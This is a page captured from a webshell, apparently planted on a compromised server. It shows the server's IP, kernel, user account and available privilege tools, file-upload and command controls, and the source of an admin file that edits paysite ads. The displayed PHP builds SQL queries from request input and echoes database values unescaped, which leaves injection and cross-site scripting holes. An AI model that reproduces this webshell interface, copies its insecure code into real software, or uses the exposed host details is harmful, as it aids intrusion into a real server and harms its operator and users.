403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/www.superporner.com/porn/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/www.superporner.com/porn/admin/edit_paysite.php
<? require "header.php"; 
if(!is_numeric($_REQUEST[id])) { exit(); } 
if($_POST) {
	$_POST = mysql_real_escape_array($_POST); 
	mysql_query("UPDATE paysites SET name = '$_POST[name]', url = '$_POST[url]', ad0 = '$_POST[ad0]', ad1 = '$_POST[ad1]', ad2 = '$_POST[ad2]', ad3 = '$_POST[ad3]', ad4 = '$_POST[ad4]', ad5 = '$_POST[ad5]', ad6 = 
'$_POST[ad6]', ad7 = '$_POST[ad7]', ad8 = '$_POST[ad8]', ad9 = '$_POST[ad9]', user='$_POST[user]', inline_xml_url = '$_POST[inline_xml_url]', pre_xml_url = '$_POST[pre_xml_url]', pause_xml_url = '$_POST[pause_xml_url]', 
post_xml_url = '$_POST[post_xml_url]' WHERE record_num = '$_POST[id]'");
	$success = true;
}
$result = mysql_query("SELECT * FROM paysites WHERE record_num = '$_GET[id]'");
$row = mysql_fetch_array($result); 
?>
     <div id="right_column">
        <div id="right_top">
        	<div id="right_home"></div>
            <div id="right_right">  
            <a href="index.php">Admin Home</a>          
            <span><a href="paysites.php">Manage Paysites</a></span>  
            </div>
        </div>
        <div id="right_bg">  
      		<h2>Edit<strong>Paysite</strong></h2>
            <p>Please enter the paysite name, url, and ads below. The ad0 through ad9 boxes can contain any html, and will display on the video player pages for videos assigned to this paysite. The ads can be called on the video templates using a special code. For example, to call ad0, you would put: <br /><br /> &lt;? echo $ads[ad0]; ?&gt;</p>
            <div id="index_left" style='width: 100%;'>            
<form method='post' action='' enctype='multipart/form-data'>
<input type='hidden' name='id' value='<? echo $_GET[id]; ?>' />
<? if($success) { ?><p align='center'>Save Successful. <a href='paysites.php'>Click here to go back</a>.</p>
<? } ?>
<table width="750" border="0" align="center" cellpadding="3" cellspacing="0" class='pagetable'>
  <thead>
  <tr>
    <th colspan="2" align='left'>Edit Paysite - <? echo $row[name]; ?></th>
  </tr>
  </thead>
  <tr>
    <td width="134" height="25" class="style4">Paysite Name</td>
    <td width="460" height="25" align="left" class="style4"><input name="name" type="text" class="style4" id="name" value="<? echo $row[name]; ?>" size="35" maxlength="255" /></td>
  </tr>
  <tr>
    <td height="25" class="style4">Paysite URL</td>
    <td height="25" align="left" class="style4"><input name="url" type="text" class="style4" id="url" value="<? echo $row[url]; ?>" size="35" maxlength="255" /></td>
  </tr>
  <tr>
    <td height="25" class="style4">AD0</td>
    <td height="25" align="left" class="style4"><textarea name="ad0" cols="60" rows="5"><? echo $row[ad0]; ?></textarea></td>
  </tr>
  <tr>
    <td height="25" class="style4">AD1</td>
    <td height="25" align="left" class="style4"><textarea name="ad1" cols="60" rows="5"><? echo $row[ad1]; ?></textarea></td>
  </tr>
  <tr>
    <td height="25" class="style4">AD2</td>
    <td height="25" align="left" class="style4"><textarea name="ad2" cols="60" rows="5"><? echo $row[ad2]; ?></textarea></td>
  </tr>
  <tr>
    <td height="25" class="style4">AD3</td>
    <td height="25" align="left" class="style4"><textarea name="ad3" cols="60" rows="5"><? echo $row[ad3]; ?></textarea></td>
  </tr>
  <tr>
    <td height="25" class="style4">AD4</td>
    <td height="25" align="left" class="style4"><textarea name="ad4" cols="60" rows="5"><? echo $row[ad4]; ?></textarea></td>
  </tr>
  <tr>
    <td height="25" class="style4">AD5</td>
    <td height="25" align="left" class="style4"><textarea name="ad5" cols="60" rows="5"><? echo $row[ad5]; ?></textarea></td>
  </tr>
  <tr>
    <td height="25" class="style4">AD6</td>
    <td height="25" align="left" class="style4"><textarea name="ad6" cols="60" rows="5"><? echo $row[ad6]; ?></textarea></td>
  </tr>
  <tr>
    <td height="25" class="style4">AD7</td>
    <td height="25" align="left" class="style4"><textarea name="ad7" cols="60" rows="5"><? echo $row[ad7]; ?></textarea></td>
  </tr>
  <tr>
    <td height="25" class="style4">AD8</td>
    <td height="25" align="left" class="style4"><textarea name="ad8" cols="60" rows="5"><? echo $row[ad8]; ?></textarea></td>
  </tr>
  <tr>
    <td height="25" class="style4">AD9</td>
    <td height="25" align="left" class="style4"><textarea name="ad9" cols="60" rows="5"><? echo $row[ad9]; ?></textarea></td>
  </tr>
<tr>
      <td height="25" class="style4">Inline XML URL</td>
      <td height="25" align="left" class="style4"><input name="inline_xml_url" type="text" class="style4" id="url" size="35" maxlength="255" value="<? echo $row[inline_xml_url]; ?>" /></td>
    </tr>
<tr>
      <td height="25" class="style4">Preroll XML URL</td>
      <td height="25" align="left" class="style4"><input name="pre_xml_url" type="text" class="style4" id="url" size="35" maxlength="255" value="<? echo $row[pre_xml_url]; ?>" /></td>
    </tr>
<tr>
      <td height="25" class="style4">Pause XML URL</td>
      <td height="25" align="left" class="style4"><input name="pause_xml_url" type="text" class="style4" id="url" size="35" maxlength="255" value="<? echo $row[pause_xml_url]; ?>" /></td>
    </tr>
<tr>
      <td height="25" class="style4">Postroll XML URL</td>
      <td height="25" align="left" class="style4"><input name="post_xml_url" type="text" class="style4" id="url" size="35" maxlength="255" value="<? echo $row[post_xml_url]; ?>" /></td>
    </tr>

      <tr>
      <td height="25" class="style4">Sponsor Account</td>
      <td height="25" align="left" class="style4"><select name="user" id="submitter">
      <option value='0'>-None-</option>
        <? 
	$rresult = mysql_query("SELECT * FROM users WHERE user_level = 2 ORDER BY username ASC");
	while($rrow =mysql_fetch_array($rresult)) {
		if($rrow[record_num] ==  $row[user]) { $selected = 'selected'; } else { $selected = ''; }
		echo "<option $selected value='$rrow[record_num]'>$rrow[username]</option>";
	}
	?>
      </select></td>
    </tr>
  <tr>
    <td height="25" colspan="2" align="center" class="style4"><input type="submit" name="Submit2" value="Save" /></td>
  </tr>
</table>
</form>
            </div>
        </div>
        <div id="right_bottom"></div>
        </div>
    </div>
</div>


      
     
        
<? require "footer.php"; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit